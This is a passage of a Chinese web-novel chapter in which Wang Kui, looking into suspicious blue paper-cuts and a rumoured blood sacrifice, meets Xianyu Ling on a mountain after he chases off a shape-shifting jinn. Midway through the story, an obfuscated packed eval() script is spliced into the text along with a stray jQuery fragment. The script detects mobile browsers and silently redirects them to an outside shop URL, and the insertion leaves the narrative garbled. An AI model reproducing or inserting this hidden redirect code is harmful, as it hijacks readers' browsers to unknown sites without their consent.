“是吗。”王葵若有所思,“可我怎么觉得,那些剪纸像是活的。”
闻言,苏立有些惊讶,“之前倒也有人这么说过。”
他似是有些踌躇,“其实,在我之前,局里曾派人来查过这事。那名调查员也有相同的想法,可惜始终没有眉目。”
王葵奇道,“什么都没查出来?”
苏立犹豫了一下,“算是吧,他觉得剪纸本身没有问题。”
剪纸本身没问题,可问题,也许不在纸上。
王葵思忖了一下,“他查过哪些地方?”
“就我所知,应该是山上的几处旧址。”苏立朝西北方向偏了偏头,“陇平镇外最大的山,当地人叫鬼崽岭,名字听着吓人,其实就是风大,山上又长了不少幽蓝蒿,那种草一刮风就沙沙响,跟人走路似的。西山头尤其多,连成一片。”
王葵点点头,又问,“那你听过血祭的说法吗?跟郝家有关的。”
“没有。”苏立眉头动了一下,正色道,“那套东西跟当地的教义相悖,没人敢这么做。至少明面上,郝家是正经人家,去寺里做礼拜的日子也没断过。”
“没人敢,不等于不会。”
“……那就不知道了。”
两人聊了一阵,便沿原路折回坡底。
那辆黑色SUV还停在原地,司机正靠在车门边抽烟,看到他们出来,顺手将烟头丢在地上踩灭。
苏立朝司机微微颔首,又冲王葵点了点头,没多说什么,转身朝着另一条不起眼的小径迅速离开了。
王葵目送他走远,才朝司机走去,客气地说,“要再麻烦你一下了,我要去鬼崽岭西山。”
太阳逐渐偏西,鬼崽岭的轮廓在一片灰蓝的天际线上起伏,沟壑从坡顶蜿蜒而下,灌木丛贴着石缝生长,一派荒芜又壮阔的景象。
王葵下了车,在西山脚下裹紧头巾,把外套拉链拉到顶,才顺着山坡往上走。
山风微寒,裹着细沙扑在脸上,混着些沙土的气味和枯草清香。脚下的路时而是风化的岩石,时而覆着一层松软的浮土,每一步落下去都会在留下一个浅印子,但被风一卷,就模糊了。
走了大约一刻钟,忽然一阵沙沙,沙沙沙的声响远远飘入耳畔。
她的左手立即搭上右腕,放轻脚步,循着声音绕过一丛沙棘。
那是一片辽阔是背阴坡面,密密匝匝长着一大片冰蓝色的植物。叶片细长,边缘微卷,在黄昏的光线里泛着一层幽冷的蓝调,想来就是幽蓝蒿了。
她正想蹲下细看,却在这时,前方坡坳传来一道沉响——砰!
像什么东西重重摔在了石头上。
紧接着,是一声低沉的咒骂。
这山上,还有人?
她刚直起身,右腕上的手表突然开始疯狂震动。
还没来得及低头去看,坡坳方向已经有一黑一白,两道身影朝她这边快速移动。
黑影那道在前,像在逃命,但动作极其灵活,忽而贴地俯冲,忽而弹起半人高,绕着那白影子急速游走。
没等王葵看清细节,那黑影倏然在半空中缩成一团,旋即竟变成一条细长的蛇形轮廓,贴着地面“嗖”地一下,从她脚边穿了过去。速度快得惊奇。
她看到了什么?人……变成了蛇?
王葵愣在原地,眨了一下眼。
纵然自认这段时间见识已经不少,但这种变身奇观,还是让她整个人定在原地,呆住了。
此时,那道白影也追了上来——
居然是穿着一身白色唐装的鲜于凌。
男生的肩头破了一道大口子,露出底下的里衬,一贯束着的头发也松了大半,几缕发丝垂在颊边,整个人看着多了几分顾不上收拾的狼狈。
四目相对,看清他脸的刹那,王葵又是一愣,“……鲜鱼?”
而鲜于凌见到她,也是一个急刹,扶住一块岩石站定。
他下意识抬手,摸了摸自己散落下来的头发,迅速把松掉的发重新拢起束好,然后捋了下皱巴巴的衣角,才拍着袖口上的灰,若无其事地走了过去,“小葵花?你怎么在这?”
“你怎么在这?”
几乎异口同声的疑问。
王葵看着他那副努力维持体面,却难掩潦草的模样,默默按住了发麻的手腕。
她沉默片刻,主动开了口,“我来参加婚礼,顺便查点事情,你那是……”她指了指那条“蛇”逃跑的方向,“什么情况?”
鲜于凌捏了捏自己破洞的衣服,叹了口气,“先离开这里再说吧。”
“不行。”王葵却不动,见他面露意外,坚定地补了一句,“你先解释清楚。”
男生迈出去的脚收了回来,盯着她看了两秒,忽然笑了一下,“半个多月不见,脾气见长啊。”
王葵抿起嘴看他。
“行。”鲜于凌双手插进裤兜里,肩膀微微松下来,很干脆地问,“想知道什么?”
“你怎么会在这里?”
“被人绑架喽。”
“你?被人绑架?”王葵的脸上浮现出浓浓的怀疑之色。
“当然,我是故意的。”男生靠着旁边那块岩石,姿态很是松散,“有人托我来查郝家的事,我就顺藤摸瓜去了,没想到半路冒出个灵怪,差点把自己搭进去。”
他说着,又提起自己破了个大洞的衣服,语气有点肉疼,“唉,这件衣服我还挺喜欢的。”
“灵怪?”王葵只听重点。
“这边的人管它叫镇尼。”鲜于凌懒洋洋地解释,“阿拉丁神灯听说过吧?无烟之火化成的灵体,算是一种地灵,没有真实血肉,但能幻化成各种形状。”
说到这里,他用手背蹭了蹭下巴,像是觉得邪门,“不过按理说,镇尼早就被赶回它们的祖居之地了,能遇到一个逃逸在外的,也是少见。”
王葵想了想,“就是刚才变成蛇逃掉那个?”
“可不是嘛。”鲜于凌朝那条蛇消失的方向瞥了一眼,打趣她,“可以啊小葵花,接受能力挺强。”
王葵没理他的夸奖,试探地问,“你刚才说,查郝家?那个镇尼,是从郝家逃出来的?”
鲜于凌脸上的笑意微微顿了一下,像是没想到她反应这么快,“这都能猜到?”
这种回答,就算是默认了。
王葵不禁想起中午在廊柱下听到的对话,心里隐隐拼凑起一些重叠的碎片,她忽然生出一个大胆的猜测,又往前探了一步,“你该不会……是被郝家绑去做祭品的吧?”
果然,鲜于凌的眉梢挑了一下,唇角浮现出一丝似笑非笑的弧度。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874189|209512||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他偏过头,语气里带了点儿半真半假的惊叹,“嚯,你什么时候转行算命了?”
他说这话的时候,连语调都没怎么变,但眼底眼底亮着光,恣意而明亮。
王葵被那光晃了一下,移开了目光,“算命我不会。”她轻声解释了一句,“是我室友结婚,新郎正好是郝家的独生子,我无意间听到他说什么,昨天抓了个祭品送给镇尼什么的……很容易就联想了。”
“那也很厉害了。”
鲜于凌脸上挂着笑,还是那副懒懒散散的样子,对什么都不太当真的劲儿,可王葵总觉得听出了点儿真心实意,心里的弦又轻轻动了一下。
但,她忽然想到了什么,“所以郝家真的想用人血祭?他们那个教义不是不允许搞这些东西吗?”
鲜于凌却见怪不怪,“教义是教义,人是人。那帮人嘴上说着万物非主,底下该干什么还干什么。道貌岸然这东西,哪里都不缺。”
他说完,偏头看了她一眼,反问了一句,“你呢?在查什么?”
王葵抬起右腕,亮了一下手表,“感觉到灵滞反应,没想到扯出郝家来了。那是我室友的夫家,我就想弄清楚。”
“那你查到哪了?”
“幽蓝蒿。”王葵的目光扫过那片冰蓝色的蒿草,没觉得有什么不能说的,“我觉得镇上的蓝色剪纸有问题,想来看看染色的原料,不过这些草似乎没有灵滞反应。”
鲜于凌的目光动了一下,“蓝色剪纸?”
见他神色莫名,王葵不由上下看了他一眼,“你该不会一直在山上吧?”
男生被她这么一打量,又下意识理了一下衣领,把破洞那侧稍微遮了遮,但语气还算自然,“可不嘛,从昨天被绑过来就一直在跟那灵怪捉迷藏,水都没喝一口。”
王葵收回目光,转身朝山下走了两步,“走吧。”
这回,轮到鲜于凌一愣,“去哪?”
“我可不想看到饿死鬼,带你吃顿好吃的。”
“哇,那你等等我!”
天色暗了一层,西边的火烧云烧得炽烈,将天际染成一片绚烂的红。
王葵带着男生原路下山。
快到山脚时,迎面走来两个中年村民,肩上扛着两捆干柴。
见一男一女从山上下来,他们的目光便直直落在两人身上,从脸扫到衣服,又从衣服扫回脸,彼此交换着审视的眼神。
他们没说什么,但不善的表情代表了很多东西。
王葵不由用余光扫了鲜于凌一眼。
他肩头那破洞裂得太大,实在是有点扎眼了。
想到这里,她不动声色地加快步伐,等彻底离开那俩村民的视野,才停下来,说了句,“等等。”
鲜于凌脚步一顿,偏头看她。
王葵抬手,解下自己头上那条藏青色的头巾,黑发如倾泻的瀑布般散落下来。
然后上前两步,在他讶异的目光里,将那条头巾像围巾一样,搭上他的肩头,把那个破洞遮得严严实实。
“行了。”大功告成,女生拍了下手,不在意地转身继续往前走。
她那头黑发在暮风里扬起又落下,带起一缕若有若无的幽幽香气。
鲜于凌却在原地顿了一下,低头看了一眼肩上的头巾,才慢半拍地跟了上去。